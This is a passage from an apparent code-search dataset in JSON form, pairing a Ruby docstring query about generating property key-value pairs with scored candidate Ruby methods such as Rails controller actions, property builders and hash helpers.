"text": "def index\n @tipos_eventos = TipoEvento.por_colegio(colegio.id).order(\"cuaderno_control DESC\", \"descripcion\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tipos_eventos }\n end\n end",
"title": ""
},
{
"docid": "d727e6700a592232f435f8a25e6832c8",
"score": "0.5948583",
"text": "def index\n @estudios = Estudio.where(:ginasio_id => params[:ginasio_id]).order('nome ASC')\n @ginasio = Ginasio.find(params[:ginasio_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @estudios }\n end\n end",
"title": ""
},
{
"docid": "1ba11065c61c82fddb1b9a033b70b7aa",
"score": "0.59418243",
"text": "def new\n @equipo_promocion = EquipoPromocion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipo_promocion }\n end\n end",
"title": ""
},
{
"docid": "1e768613b17358c334a5b9b76a4a1d86",
"score": "0.593539",
"text": "def show\n @equipo_y_cuerpo_tecnico = EquipoYCuerpoTecnico.find(params[:id])\n @clubes = Club.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @equipo_y_cuerpo_tecnico }\n end\n end",
"title": ""
},
{
"docid": "c242cdbbdb3683b8249a8010016981d3",
"score": "0.59350735",
"text": "def tipo_equipamento_params\n params.require(:tipo_equipamento).permit(:tipo)\n end",
"title": ""
},
{
"docid": "53bd420683636825d6a1456bd9486e1e",
"score": "0.5934995",
"text": "def index\n @peticion_peticion_tis = Peticion::PeticionTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_peticion_tis }\n end\n end",
"title": ""
}
] |
cdd6955333749337aa0083e01bcafeb1 | rubocop:enable Metrics/AbcSize Generates a key value pair for a property depending on its type Valid options: first_level: Says if this is the first level being generated | [
{
"docid": "2d45521fa691d4445cbdfb3f4c66abf8",
"score": "0.46491146",
"text": "def emit_manifest_assign(prop, seed, ctx, prop_field_name, opts = {})\n # Chef name field must use label_name\n if prop.name == 'name' && opts[:first_level]\n [@provider.label_name(prop.__resource),\n formatter(prop.class, @datagen.value(prop.class, prop, seed))]\n else\n super(prop, seed, ctx, prop_field_name)\n end\n end",
"title": ""
}
] | [
{
"docid": "3fa7acb3983652050aee98927e2918fc",
"score": "0.577226",
"text": "def property_type(**options)\n Property.derive(**options)\n end",
"title": ""
},
{
"docid": "e88d0c15f4a0aa9eba8e691de7c0e83a",
"score": "0.55633885",
"text": "def generate_prop_type(key_name, props, current_depth, object_cache)\n case props\n when String\n STRING_PROP_TYPE + @is_required\n when NilClass\n ANY_PROP_TYPE\n when Numeric\n NUMBER_PROP_TYPE + @is_required\n when TrueClass, FalseClass\n BOOL_PROP_TYPE + @is_required\n when Array\n # this is wrong - it should do `shape()` if it's not a shape-name\n \"React.PropTypes.arrayOf(\" + generate_prop_type(nil, props[0], current_depth, object_cache) + \")\" + @is_required\n when Hash\n cached_shape = object_cache.cache(props) do\n prop_type = hash_to_prop_type(props, current_depth, object_cache)\n PropTypes::CachedShape.new(nil, prop_type, props, semicolon: @semicolon)\n end\n key_name && cached_shape.offer_name(\"#{key_name}Shape\")\n cached_shape.increment\n cached_shape.id + @is_required\n else\n raise \"Can't generate prop for #{props} (#{props.class})\"\n end\n end",
"title": ""
},
{
"docid": "5ab3965d696cff80b56e6b4f1dd131cb",
"score": "0.52230567",
"text": "def add_property(key, value = nil, add_to = :props)\n key_node = Niceogiri::XML::Node.new(key)\n\n unless value.nil?\n key_node.write_attr('type', ruby_type_2_prop_type(value.class))\n c_node = value_node_set(value)\n\n if c_node.class == Array\n c_node.each { |c_n| key_node.add_child(c_n) }\n else\n key_node.add_child(c_node)\n end\n end\n read_element(add_to).first.add_child(key_node)\n key_node\n end",
"title": ""
},
{
"docid": "5316fd0c87cd4e01147ffc2cd630018b",
"score": "0.51975405",
"text": "def mapping\n {\n type.to_sym => {\n properties: self.type_mapping\n }\n }\n end",
"title": ""
},
{
"docid": "b12dfc2e8e9ad4c200334c9f05e5024b",
"score": "0.51868486",
"text": "def treate_per_value prop, value\n value.instance_of?(Film::TextObjet) && value = value.to_hash\n\n case value\n when NilClass\n return\n when Hash\n value.each do |k,v|\n treate_per_value(k, v)\n end\n return\n when Film::Horloge\n value = value.horloge\n else\n as_string_value(value)\n end\n\n write \"#{prop}\", \"#{value}\"\n end",
"title": ""
},
{
"docid": "91b322320810223b9a39fd4f00c0fd63",
"score": "0.5128163",
"text": "def return_property_yaml(prop, spaces)\n block = minimal_return_block(prop, spaces)\n if prop.is_a? Api::Type::NestedObject\n block.concat(nested_return(prop.properties, spaces))\n elsif prop.is_a?(Api::Type::Array) &&\n prop.item_type.is_a?(Api::Type::NestedObject)\n block.concat(nested_return(prop.item_type.properties, spaces))\n else\n block\n end\n end",
"title": ""
},
{
"docid": "d18d03b34ccc1ed3e3b89754ea7f2e04",
"score": "0.5127452",
"text": "def property_description (property) \n ret = {:name => property.name}\n ext_type = EXT_TYPE_TRANSLATIONS[property.primitive.to_s] || EXT_TYPE_TRANSLATIONS[\"String\"]\n \n if property.respond_to? :flag_map\n ret[:type] = EXT_TYPE_TRANSLATIONS[\"String\"][:type]\n else\n ret[:type] = ext_type[:type]\n end\n \n if dateFormat = ext_type[:dateFormat]\n ret[:dateFormat] = dateFormat\n end\n ret\n end",
"title": ""
},
{
"docid": "108151e063d49670ff4a67c3097a995c",
"score": "0.5112242",
"text": "def get_field_property(source, property, fields=Hamster::Set[])\n source.each_key do |key|\n item = source[key]\n # continue if of the correct object type\n if item.is_a?(Hash)\n # add key to Hamster::Set if found\n fields = fields.add(key) if item[property] === true\n # continue recursion\n fields = get_field_property(item, property, fields)\n end\n end\n fields\n end",
"title": ""
},
{
"docid": "00020d7324dffd5bb5b29ed8b3d0032a",
"score": "0.5104032",
"text": "def property_schema_hash(repository, property)\n schema = super\n\n if property.serial?\n schema.delete(:default) # the sequence will be the default\n schema[:sequence_name] = sequence_name(repository, property)\n end\n\n # TODO: see if TypeMap can be updated to set specific attributes to nil\n # for different adapters. precision/scale are perfect examples for\n # Postgres floats\n\n # Postgres does not support precision and scale for Float\n if property.primitive == Float\n schema.delete(:precision)\n schema.delete(:scale)\n end\n\n schema\n end",
"title": ""
},
{
"docid": "fe4c183c47a39f2072a83ec96894939e",
"score": "0.50999177",
"text": "def create_property(name, type, options = Hash.new)\n options = Kernel.validate_options options, :init => true\n\n orocos_type_name = find_orocos_type_name_by_type(type)\n Orocos.load_typekit_for orocos_type_name\n local_property = @local_task.do_create_property(Property, name, orocos_type_name)\n @local_properties[local_property.name] = local_property\n @properties[local_property.name] = local_property\n if options[:init]\n local_property.write(local_property.new_sample)\n end\n local_property\n end",
"title": ""
},
{
"docid": "bf92c46f721ce1bd1e92b29e4f39038a",
"score": "0.5081144",
"text": "def add_single_property(*args, **opt)\n name = args.shift\n type = args.shift\n value = make_default(name, type, opt)\n add_property(name, value)\n end",
"title": ""
},
{
"docid": "d8f49c0e1855d538462d18426b922cc8",
"score": "0.5063799",
"text": "def add_single_property(name, *args, **opt)\n type = args.shift || String\n value = make_default(type, **opt)\n add_property(name, value)\n end",
"title": ""
},
{
"docid": "b6513cc5d679a9dc91eb873303befa8e",
"score": "0.50293267",
"text": "def build_property(old_property, property_overrides, override_classes, prefix = '')\n property_overrides = {} if property_overrides.nil?\n new_prop = build_primitive_property(old_property,\n property_overrides[\"#{prefix}#{old_property.name}\"],\n override_classes)\n unless old_property.nested_properties.nil?\n new_props = old_property.nested_properties.map do |p|\n build_property(p, property_overrides, override_classes,\n \"#{prefix}#{old_property.name}.\")\n end\n\n if old_property.is_a?(Api::Type::NestedObject)\n new_prop.instance_variable_set('@properties', new_props)\n elsif old_property.is_a?(Api::Type::Map) && \\\n old_property.value_type.is_a?(Api::Type::NestedObject)\n new_prop.instance_variable_set('@value_type', Api::Type::NestedObject.new)\n new_prop.value_type.instance_variable_set('@properties', new_props)\n elsif old_property.is_a?(Api::Type::Array) && \\\n old_property.item_type.is_a?(Api::Type::NestedObject)\n new_prop.instance_variable_set('@item_type', Api::Type::NestedObject.new)\n new_prop.item_type.instance_variable_set('@properties', new_props)\n end\n end\n new_prop\n end",
"title": ""
},
{
"docid": "04acbbdb6b1325497f006538f27e1da0",
"score": "0.5025561",
"text": "def set_property_type\n properties_array = Array(meta_data['PropertiesV1'])\n room_type_hash = properties_array.find { |data_hash| data_hash['TypeNumber'] == code_for(:property_type) }.to_h\n room_type_number = Array(room_type_hash['TypeContents']).first\n\n # There are also hotel (130), mill (172), tent lodge (175)\n # we ignore them and filter them out during property validation\n case room_type_number\n when 20 # Castle\n property.type = 'house'\n property.subtype = 'chateau'\n when 30 # Cottage\n property.type = 'house'\n property.subtype = 'cottage'\n when 40 # Mansion\n property.type = 'house'\n when 50 # Villa\n property.type = 'house'\n property.subtype = 'villa'\n when 60 # Chalet\n property.type = 'house'\n when 80 # Bungalow\n property.type = 'house'\n property.subtype = 'bungalow'\n when 110, 112 # Studio, Duplex\n property.type = 'apartment'\n property.subtype = 'studio_bachelor'\n when 120 # Penthouse\n property.type = 'apartment'\n property.subtype = 'luxury_apartment'\n when 140 # Lodge\n property.type = 'house'\n property.subtype = 'cabin'\n when 160 # Apartment\n property.type = 'apartment'\n when 70, 90, 95, 100, 145, 150, 170 # Farmhouse, Boat, House Boat, Holiday Home, Riad, Mobile Home, Cave house\n property.type = 'house'\n end\n end",
"title": ""
},
{
"docid": "c9f146b777c1a531b5f93b8b17775d1c",
"score": "0.502447",
"text": "def build_property\n property = Entities::Property.new(\n id: property_hash.get(\"ID\"),\n title: property_hash.get(\"Name\"),\n lat: property_hash.get(\"Coordinates.Latitude\").to_f,\n lng: property_hash.get(\"Coordinates.Longitude\").to_f,\n address: property_hash.get(\"Street\"),\n postal_code: property_hash.get(\"ZipCode\").to_s.strip,\n max_guests: property_hash.get(\"CanSleepMax\").to_i,\n bedroom_type_id: property_hash.get(\"PropertyTypeID\"),\n property_type_id: property_hash.get(\"ObjectTypeID\"),\n active: property_hash.get(\"IsActive\"),\n archived: property_hash.get(\"IsArchived\"),\n surface: property_hash.get(\"Space\").to_i,\n owner_id: property_hash.get(\"OwnerID\"),\n security_deposit_amount: property_hash.get(\"SecurityDeposit\").to_f,\n security_deposit_type: security_deposit_type,\n check_in_time: check_in_time,\n check_out_time: check_out_time,\n check_in_instructions: check_in_instructions,\n floor: floor,\n description: en_description(property_hash),\n images: build_images,\n amenities: build_amenities,\n number_of_bathrooms: number_of_bathrooms,\n number_of_single_beds: beds_count(SINGLE_BED_CODES),\n number_of_double_beds: beds_count(DOUBLE_BED_CODES),\n number_of_sofa_beds: beds_count(SOFA_BED_CODES),\n late_arrival_fees: late_arrival_fees,\n early_departure_fees: early_departure_fees,\n )\n\n property\n end",
"title": ""
},
{
"docid": "02e0a36c90f4012a90f3482fb0514b19",
"score": "0.5006939",
"text": "def value\n send property.type_field\n end",
"title": ""
},
{
"docid": "6e19eed5cb8997e7a1b5f509efc0531f",
"score": "0.5001257",
"text": "def auto_create_sky_properties(properties, transient, obj)\n return unless obj.is_a?(Hash)\n\n # Loop over each non-blank key.\n obj.each_pair do |k, v|\n next if k.blank?\n \n # Check if the property exists.\n if properties.find_index{|p| p.name == k}.nil?\n # Determine the data type of the incoming data.\n data_type = case\n when v.is_a?(String) then \"factor\"\n when v.is_a?(Fixnum) || v.is_a?(Float) then \"float\"\n when v == true || v == false then \"boolean\"\n else nil\n end\n\n # If we can determine an appropriate type then create the property.\n if !data_type.nil?\n sky_table.create_property(:name => k, :transient => transient, :data_type => data_type)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "b1c73dfbc5dec5b215a118b79379e028",
"score": "0.4995356",
"text": "def prop_name(property, key)\n case key\n when :id\n property.attributes['name'] = 'groupId'\n when :name\n property.attributes['name'] = 'groupName'\n when :description\n property.attributes['name'] = 'description'\n when :perms\n property.attributes['name'] = 'emailPermissions'\n end\n\n property\n end",
"title": ""
},
{
"docid": "a469d7d3bdb9b6fcd2e5efcf7a373318",
"score": "0.4973008",
"text": "def key type\n make_key get_class(type)\n end",
"title": ""
},
{
"docid": "ba89f98a41945a9bd438f59b8fbfc599",
"score": "0.497069",
"text": "def to_configurable_hash(properties, type, &block)\n assertion_hash = {}\n assertion_hash.merge! block: block if block_given?\n assertion_hash.merge! type: type if type\n\n zip_to_hash(assertion_hash, *properties)\n end",
"title": ""
},
{
"docid": "69fb5812c8a874265f2d0bb633bda008",
"score": "0.49634996",
"text": "def create_property(name, type, init: true)\n Orocos.load_typekit_for(type, false)\n orocos_type_name = Orocos.find_orocos_type_name_by_type(type)\n Orocos.load_typekit_for(orocos_type_name, true)\n\n local_property = @local_task.do_create_property(Property, name, orocos_type_name)\n @local_properties[local_property.name] = local_property\n @properties[local_property.name] = local_property\n if init\n local_property.write(local_property.new_sample)\n end\n local_property\n end",
"title": ""
},
{
"docid": "40aed270d096717d776762c8acf8235f",
"score": "0.49576163",
"text": "def flatten_with_type(preffix = \"\")\n res = []\n self.each_pair do |k,v|\n name = ((preffix.to_s.empty? ? \"\" : preffix.to_s + \"__\") + k.to_s).to_sym\n if v.is_a?(Hash)\n res += v.flatten_with_type(name)\n else\n res << {\n :name => name,\n :value => v,\n :type => ([\"TrueClass\", \"FalseClass\"].include?(v.class.name) ? 'Boolean' : v.class.name).to_sym\n }\n end\n end\n res\n end",
"title": ""
},
{
"docid": "721799d2f5cca43c28c2828fe3d0aa0e",
"score": "0.4952507",
"text": "def model_fields\n ActiveSupport::OrderedHash.new.tap do |hash|\n properties.map do |u|\n hash[u.name] = TYPES.fetch properties.find{|property| property.name == u.name}.primitive\n end\n end\n end",
"title": ""
},
{
"docid": "c9fb9d08be0c7cfc1493596d72916ddb",
"score": "0.495233",
"text": "def object_to_dynamo_attribute_value_type_key(type_obj, allow_array = true)\n if type_obj.is_a?(Enumerable) && allow_array && type_obj.any?\n contained_type = to_dynamo_attribute_value_type_key(type_obj.first, false)\n (contained_type.to_s + 's').to_sym if contained_type\n else\n CLASS_TYPES.select {|klass, dynamo_type| type_obj.ancestors.include?(klass)}.values.first if type_obj.respond_to? :ancestors\n end\n end",
"title": ""
},
{
"docid": "f882cb069c99d9389dd7ec3c369a2059",
"score": "0.4947245",
"text": "def generate_keypair(*args)\n options[:keypair] = \"#{parent && parent.is_a?(PoolParty::Pool::Pool) ? parent.name : \"poolparty\"}_#{name}\" unless has_keypair?\n end",
"title": ""
},
{
"docid": "f1217609162b7b3d031ae2373ce457a7",
"score": "0.49014646",
"text": "def convert_to_first_level\n hash = Hash.new\n proc = Proc.new {|k,v| v.is_a?(Hash) ? v.each(&proc) : hash[k] = v}\n each &proc\n hash\n end",
"title": ""
},
{
"docid": "37517e49e364124472a742ea9f62f57e",
"score": "0.4889756",
"text": "def type\n @option[:type].is_a?(Hash) ? @option[:type][:value] : @option[:type]\n end",
"title": ""
},
{
"docid": "6b18fdd09890f0f286434806d279687a",
"score": "0.487972",
"text": "def properties\n pairs_properties = @pairs.map { |key, value| { 'key' => key.properties, 'value' => value.properties } }\n { 'object_type' => 'map', 'pairs' => pairs_properties }\n end",
"title": ""
},
{
"docid": "c635382756d8a53e8e689ac11c020438",
"score": "0.48794946",
"text": "def force_singular\n AttributeOptions.new(type: type, hashable: hashable)\n end",
"title": ""
},
{
"docid": "88313c26eb9915b446bb9a0114a7c221",
"score": "0.48669523",
"text": "def build_formatted_property_hash(property)\n property_hash = Hash.new\n property_hash = \n {\n \"address\"=> property[\"property_adress\"], \n \"apartment_number\"=> property[\"apartment_no\"],\n \"postal_code\"=> property[\"zip_code\"],\n \"city\"=> property[\"town\"],\n \"country\"=> property[\"country\"],\n \"description\"=> property[\"property_description\"],\n \"number_of_bedrooms\"=> property[\"bedrooms_no\"],\n \"max_guests\"=> property[\"max_people\"],\n \"internal_id\"=> property[\"source_id\"]\n }\n end",
"title": ""
},
{
"docid": "aadf8bef3908fec990b78155a92e25bd",
"score": "0.4841806",
"text": "def required_top_level_attributes_with_types\n\t\t\t\treturn [\n\t\t\t\t\t['format_version', String],\n\t\t\t\t\t['environments', Array],\n\t\t\t\t\t['steps', Array]\n\t\t\t\t\t]\n\t\t\tend",
"title": ""
},
{
"docid": "1964a34d76cc5accf34a404ef3c10f05",
"score": "0.48341763",
"text": "def create_attributes_preprocessors_for_type(type_name)\n type = @types[type_name]\n attributes_preprocessors = []\n type.properties.each_pair do |property_name, property|\n attributes_preprocessors <<\n create_preprocessor_for_property(\n property_name,\n property,\n type.required.include?(property.name)\n )\n end\n if type.extends\n attributes_preprocessors = attributes_preprocessors + create_attributes_preprocessors_for_type(type.extends)\n end\n attributes_preprocessors\n end",
"title": ""
},
{
"docid": "157a7da655b0baadd88c5de0143d4b0c",
"score": "0.4832121",
"text": "def property_type(type)\n ensure_valid_parameter('property type', type, %w(houses flats))\n @request[:property_type] = type.to_s\n self\n end",
"title": ""
},
{
"docid": "2e1d28bb5c450f676bccc7d4f8150aaa",
"score": "0.4816461",
"text": "def values_for_properties; end",
"title": ""
},
{
"docid": "cd47ff5bc1f1761b539935679c6a93af",
"score": "0.48152032",
"text": "def create_preprocessor_for_property(name, type_property, required)\n property_type = type_property.type\n if property_type == TYPE_ARRAY\n if PRIMITIVE_TYPES.include? type_property.items\n preprocessor_for_values = Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValuePreprocessor.new(\n name,\n false,\n type_property.items,\n type_property.properties[:default],\n type_property.properties\n )\n else\n preprocessor_for_values = create_preprocessor_for_type(name, type_property.items, false)\n end\n Sinatra::SwaggerExposer::Processing::SwaggerArrayValuePreprocessor.new(name, required, preprocessor_for_values)\n elsif PRIMITIVE_TYPES.include? property_type\n Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValuePreprocessor.new(\n name,\n required,\n property_type,\n type_property.properties[:default],\n type_property.properties\n )\n else\n create_preprocessor_for_type(name, property_type, required)\n end\n end",
"title": ""
},
{
"docid": "10f74a9cc6b62e460996af0fc3a027c3",
"score": "0.48109874",
"text": "def build_nested_object(prop, current_path)\n object_lines = []\n prop.properties.each do |nested_prop|\n next_path = \"#{current_path}/#{nested_prop.out_name}\"\n object_lines << lines([\"* `#{next_path}`\"].join(' '))\n\n object_lines << lines(wrap_field([\n ('Required.' if nested_prop.required),\n ('Output only.' if nested_prop.output),\n nested_prop.description\n ].compact.join(' '), 0), 1)\n\n if nested_prop.is_a? Api::Type::NestedObject\n object_lines.concat(build_nested_object(nested_prop, next_path))\n elsif nested_prop.is_a?(Api::Type::Array) &&\n nested_prop.item_type.is_a?(Api::Type::NestedObject)\n object_lines.concat(build_nested_object(nested_prop.item_type,\n \"#{next_path}[]\"))\n end\n end\n object_lines\n end",
"title": ""
},
{
"docid": "588b5bd5f5b53ebf8df49be1594a8fa7",
"score": "0.48065433",
"text": "def props\n props = Openvpn::Generators::Keys::Properties\n\n props.default.merge props.yaml\n end",
"title": ""
},
{
"docid": "212ce18c62eb0fcabb7c75b09ad19711",
"score": "0.478934",
"text": "def to_configurable_hash(properties, type, &block)\n assertion_hash = {}\n assertion_hash.merge! block: block if block_given?\n assertion_hash.merge! type: type if type\n\n assertions = ([assertion_hash] * properties.size)\n Hash[properties.zip(assertions)]\n end",
"title": ""
},
{
"docid": "c08760316258da3f491f0a0257b14e70",
"score": "0.47717234",
"text": "def make_hash_one_dimensional(input = {}, output = {}, options = {})\n input.each do |key, value|\n key = options[:prefix].nil? ? \"#{key}\" :\n \"#{options[:prefix]}#{options[:delimiter]||\"_\"}#{key}\"\n if value.is_a? Hash\n make_hash_one_dimensional(value, output, :prefix => key,:delimiter => \".\")\n else\n output[key] = value\n end\n end\n output\n end",
"title": ""
},
{
"docid": "c9506e22be677ed215d958e7972d368f",
"score": "0.4764819",
"text": "def single_value_extended_properties\n return @single_value_extended_properties\n end",
"title": ""
},
{
"docid": "c9506e22be677ed215d958e7972d368f",
"score": "0.4764819",
"text": "def single_value_extended_properties\n return @single_value_extended_properties\n end",
"title": ""
},
{
"docid": "c9506e22be677ed215d958e7972d368f",
"score": "0.4764819",
"text": "def single_value_extended_properties\n return @single_value_extended_properties\n end",
"title": ""
},
{
"docid": "6397d239d351924f54a82047af342cb7",
"score": "0.4747491",
"text": "def value\n if allows_nil? && properties.values.all?(&:nil?)\n nil\n else\n Hash[properties.map { |key, value| [key, value.value] }]\n end\n end",
"title": ""
},
{
"docid": "b10b3237bc6f5e86746522a01573ae87",
"score": "0.47451875",
"text": "def properties(memo = {}, path = '')\n keys.each do |key|\n if self[key].is_a?(Hash) || self[key].is_a?(Array)\n new_path = \"#{path}#{path.empty? ? '' : '.'}#{key}\"\n resource_type = self['Type']\n new_path = \"#{new_path}.#{resource_type}\" if resource_type && !resource_type.empty?\n self[key].properties(memo, new_path)\n else\n memo[\"#{path}.#{key}\"] = self[key]\n end\n end\n\n memo\n end",
"title": ""
},
{
"docid": "e1f2dc7a852a4008dd25140d8563ed8d",
"score": "0.47431764",
"text": "def property_map\n self.class.properties.map do |name, opts|\n if opts\n yreq = opts[:req] ? :req : :opt\n [\"@#{ name }\", yreq] if yreq\n end\n end.compact\n end",
"title": ""
},
{
"docid": "18ba48369bdbb3a8fa75e07c7a1c8ca6",
"score": "0.47293878",
"text": "def type\n self['type']['type']\n end",
"title": ""
},
{
"docid": "57a269e085bf01c9b719ab040319b361",
"score": "0.47253704",
"text": "def type(key); end",
"title": ""
},
{
"docid": "57a269e085bf01c9b719ab040319b361",
"score": "0.47253704",
"text": "def type(key); end",
"title": ""
},
{
"docid": "dddc9287cc6c73d361a9c19f8c40c57b",
"score": "0.47159284",
"text": "def create_entity_properties\n self.entity_type.entities.each do |entity|\n entity.properties.create(property_type: self, value: self.default_value)\n end\n end",
"title": ""
},
{
"docid": "30c75af1b9b586501b627c92b6194877",
"score": "0.47008738",
"text": "def build_top_level_setting\n Grape::Util::InheritableSetting.new.tap do |setting|\n # Doesn't try to inherit settings from +Grape::API::Instance+ which also responds to\n # +inheritable_setting+, however, it doesn't contain any user-defined settings.\n # Otherwise, it would lead to an extra instance of +Grape::Util::InheritableSetting+\n # in the chain for every endpoint.\n setting.inherit_from superclass.inheritable_setting if defined?(superclass) && superclass.respond_to?(:inheritable_setting) && superclass != Grape::API::Instance\n end\n end",
"title": ""
},
{
"docid": "67facd4605c11e7e1fbfd18d0e4cbd4b",
"score": "0.4700859",
"text": "def meta the_key\n return @top_level[the_key]\n end",
"title": ""
},
{
"docid": "3b4528cb3702d89dffc1cc560012a167",
"score": "0.46797785",
"text": "def klass\n @properties.map { |symbol|\n symbol.to_s\n }.join(\" \") unless @properties.empty?\n end",
"title": ""
},
{
"docid": "d0aee03164e2e9fcae52d32077c75494",
"score": "0.46583882",
"text": "def json_key\n root || _type || object.class.model_name.to_s.underscore\n end",
"title": ""
},
{
"docid": "6eefc62387886e35d926bc24fe22679a",
"score": "0.4653801",
"text": "def key\n \"#{@type}{#{@title}}]\"\n end",
"title": ""
},
{
"docid": "96fc5458180ec5e931aa10d3efa76493",
"score": "0.46436578",
"text": "def build_properties\n properties.each do |key,val|\n prop = listing_properties.find_or_initialize_by(key:key)\n prop.value = val\n\n end\n end",
"title": ""
},
{
"docid": "3bc81df8e7b8837db024afbb9548fd51",
"score": "0.46373904",
"text": "def primary_property\n pp = self.variant_properties.find_by(primary: true)\n pp ? pp : self.variant_properties.first\n end",
"title": ""
},
{
"docid": "2da9afdb9c75870b1f2ea3156b4d956c",
"score": "0.4635316",
"text": "def default_hash(type: nil)\n super(type: type.presence || 'contact_persons')\n end",
"title": ""
},
{
"docid": "02f0a17259923695631065b2eecc143d",
"score": "0.4612661",
"text": "def build_from_hash(value)\n constantValues = PropertyType.constants.select { |c| PropertyType::const_get(c) == value }\n raise \"Invalid ENUM value #{value} for class #PropertyType\" if constantValues.empty?\n value\n end",
"title": ""
},
{
"docid": "1deac22e2b94e6aae99dc17db41441d2",
"score": "0.46101895",
"text": "def generate_structure( value )\n part = {}\n unless value.has_key?( \"children\" )\n return [] if value[\"unbounded\"]\n return \"\"\n else\n value[\"children\"].each do | key, value |\n part[key] = generate_structure(value)\n end \n end\n \n return [part] if value[\"unbounded\"]\n part \n end",
"title": ""
},
{
"docid": "50edd119d233b17c8c39d9338e753efe",
"score": "0.45908296",
"text": "def property_all\n @properties.keys.sort.each do |global_type|\n values = @properties[global_type]\n if ! values.empty?\n yield global_type, values\n end\n end\n end",
"title": ""
},
{
"docid": "bba06df25302967c68dde361d97f85ad",
"score": "0.4589455",
"text": "def insist!(type_class = (type_class_skipped = true; nil))\n\n\t\t\treturn @obj_with_keys if @lookup.empty?\n\t\t\t# Hashes can be accessed at [Object] of any kind\n\t\t\t# Structs can be accessed at [String] and [Symbol], and [Integer] for the nth member (or [Float] which rounds down)\n\t\t\t# Arrays can be accessed at [Integer] or [Float] which rounds down\n\n\t\t\tindex = 0\n\t\t\t# Will run at least twice, as:\n\t\t\t# Always runs once for @obj_with_keys itself\n\t\t\t# Then at least one more time because @lookup is not empty\n\t\t\treturn @lookup.inject(@obj_with_keys) { |deep_obj, this_key|\n\t\t\t\tlast_index = index >= @lookup.size - 1\n\n\t\t\t\t# this = object to be accessed\n\t\t\t\t# key = key to access on this\n\t\t\t\t# access = what kind of key is key\n\n\t\t\t\tkey = {\n\t\t\t\t\tthis: {\n\t\t\t\t\t\ttype: nil,\n\t\t\t\t\t\tvalue: this_key\n\t\t\t\t\t},\n\t\t\t\t\tnext: {\n\t\t\t\t\t\ttype: nil,\n\t\t\t\t\t\tvalue: last_index ? Keys::MISSING : @lookup[index + 1]\n\t\t\t\t\t},\n\t\t\t\t\tlast: {\n\t\t\t\t\t\ttype: nil,\n\t\t\t\t\t\tvalue: index == 0 ? Keys::MISSING : @lookup[index - 1]\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tkey.each { |pos, _|\n\t\t\t\t\tif Keys.index?(key[pos][:value])\n\t\t\t\t\t\tkey[pos][:type] = :index\n\t\t\t\t\t\tkey[pos][:max] = key[pos][:value].magnitude.floor + (key[pos][:value] <= -1 ? 0 : 1)\n\t\t\t\t\telse\n\t\t\t\t\t\tkey[pos][:type] = :object\n\t\t\t\t\t\tkey[pos][:type] = :string if key[pos][:value].is_a?(String)\n\t\t\t\t\t\tkey[pos][:type] = :symbol if key[pos][:value].is_a?(Symbol)\n\t\t\t\t\tend\n\t\t\t\t}\n\n\t\t\t\treconstruct = false\n\n\t\t\t\t# Ensure this object is a supported type - always true for index == 0 i.e. @obj_with_keys itself\n\t\t\t\tif !(deep_obj.respond_to?(:fetch) && deep_obj.respond_to?(:[]))\n\t\t\t\t\t# Not a supported type! e.g. a string\n\t\t\t\t\tif key[:this][:type] == :index\n\t\t\t\t\t\t# If we'll access an array here, re-embed the unsupported object in an array as [0 => original]\n\t\t\t\t\t\tdeep_obj = Array.new(key[:this][:max] - 1).unshift(deep_obj)\n\t\t\t\t\telse\n\t\t\t\t\t\t# Otherwise, embed the unsupported object in a hash with the key 0\n\t\t\t\t\t\tdeep_obj = {0 => deep_obj}\n\t\t\t\t\tend\n\t\t\t\t\t# Will never run on @obj_with_keys itself\n\t\t\t\t\treconstruct = true\n\t\t\t\telse\n\t\t\t\t\t# Supported type, but what if this doesn't accept that kind of key? Then...\n\n\t\t\t\t\t# \"You asked for it!\"(TM)\n\t\t\t\t\t# In a Struct, if accessing a member that doesn't exist, we'll replace the struct with a redefined anonymous one containing the members you wanted. This is dangerous but it's your fault.\n\t\t\t\t\tif deep_obj.is_a?(Struct)\n\t\t\t\t\t\tif key[:this][:type] == :string || key[:this][:type] == :symbol\n\t\t\t\t\t\t\tif !deep_obj.members.include?(key[:this][:value].to_sym)\n\t\t\t\t\t\t\t\t# You asked for it!\n\t\t\t\t\t\t\t\t# Add the member you requested\n\t\t\t\t\t\t\t\tnew_members = deep_obj.members.push(key[:this][:value].to_sym)\n\t\t\t\t\t\t\t\tdeep_obj = Struct.new(*new_members).new(*deep_obj.values)\n\t\t\t\t\t\t\t\treconstruct = true\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telsif key[:this][:type] == :index\n\t\t\t\t\t\t\tif key[:this][:max] > deep_obj.size\n\t\t\t\t\t\t\t\t# You asked for it!\n\t\t\t\t\t\t\t\t# Create new numeric members up to key requested\n\t\t\t\t\t\t\t\tif key[:this][:value] <= -1\n\t\t\t\t\t\t\t\t\trange = 0..((key[:this][:max] - deep_obj.size) - 1)\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\trange = deep_obj.size..(key[:this][:max] - 1)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tnew_keys = (range).to_a.map { |num| num.to_s.to_sym }\n\t\t\t\t\t\t\t\t# Shove them in\n\t\t\t\t\t\t\t\tif key[:this][:value] <= -1\n\t\t\t\t\t\t\t\t\t# Prepend\n\t\t\t\t\t\t\t\t\tnew_members = new_keys.concat(deep_obj.members)\n\t\t\t\t\t\t\t\t\tnew_values = Array.new(new_keys.size - deep_obj.values.size, nil).concat(deep_obj.values)\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t# Append\n\t\t\t\t\t\t\t\t\tnew_members = deep_obj.members.concat(new_keys)\n\t\t\t\t\t\t\t\t\tnew_values = deep_obj.values\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tdeep_obj = Struct.new(*new_members).new(*new_values)\n\t\t\t\t\t\t\t\treconstruct = true\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\t# \"You asked for it!\"(TM)\n\t\t\t\t\t# If accessing an array with a key that doesn't exist, we'll add elements to the array or change the array to a hash. This is dangerous but it's your fault.\n\t\t\t\t\tif 